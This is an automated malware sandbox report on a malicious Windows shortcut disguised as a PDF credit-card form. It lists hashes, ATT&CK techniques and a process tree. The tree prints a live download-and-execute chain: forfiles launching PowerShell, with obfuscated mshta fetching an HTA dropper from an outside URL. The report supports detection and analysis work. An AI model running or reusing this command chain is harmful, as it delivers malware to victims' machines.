a33bf755d49373160c54ca9d13df9fd2e5efbe0f86d22a208d9687790fe00ed4

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-10-2024 17:24

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General

Target

A/3rd_cc_form_Oct_2024.pdf.lnk
Size

1KB
MD5

d53df33a543f82f01cd65a969c026f0c
SHA1

92b8d55b4dccdcdfc076e08dc10e8f878075a4f7
SHA256

a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6
SHA512

a4b62d3d7d9a1f251c6f2fc1eecec006cd32ed5f206990c84c0f1e3ebb6e86564c5042412c6b329e2a6d44bd2232a89add3db92703e3c779110f83105ea0c49e

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://urban-trek.shop/api/uz/0547131764/Linipute.json

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
9	3536	mshta.exe
11	3536	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	cmd.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

Processes:

forfiles.exe

pid	Process
3708	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
4536	powershell.exe
4536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exeforfiles.exepowershell.exe

description	pid	Process	procid_target
PID 4864 wrote to memory of 3708	4864	cmd.exe	85
PID 4864 wrote to memory of 3708	4864	cmd.exe	85
PID 3708 wrote to memory of 4536	3708	forfiles.exe	86
PID 3708 wrote to memory of 4536	3708	forfiles.exe	86
PID 4536 wrote to memory of 3536	4536	powershell.exe	87
PID 4536 wrote to memory of 3536	4536	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\A\3rd_cc_form_Oct_2024.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://urban-trek.shop/api/uz/0547131764/Linipute.json
      4⤵
      Blocklisted process makes network request
      PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i514vb0p.45e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4536-0-0x00007FFFFE6F3000-0x00007FFFFE6F5000-memory.dmp

Filesize
8KB

Download
memory/4536-10-0x0000024CAEED0000-0x0000024CAEEF2000-memory.dmp

Filesize
136KB

Download
memory/4536-11-0x00007FFFFE6F0000-0x00007FFFFF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4536-12-0x00007FFFFE6F0000-0x00007FFFFF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4536-16-0x00007FFFFE6F0000-0x00007FFFFF1B1000-memory.dmp

Filesize
10.8MB

Download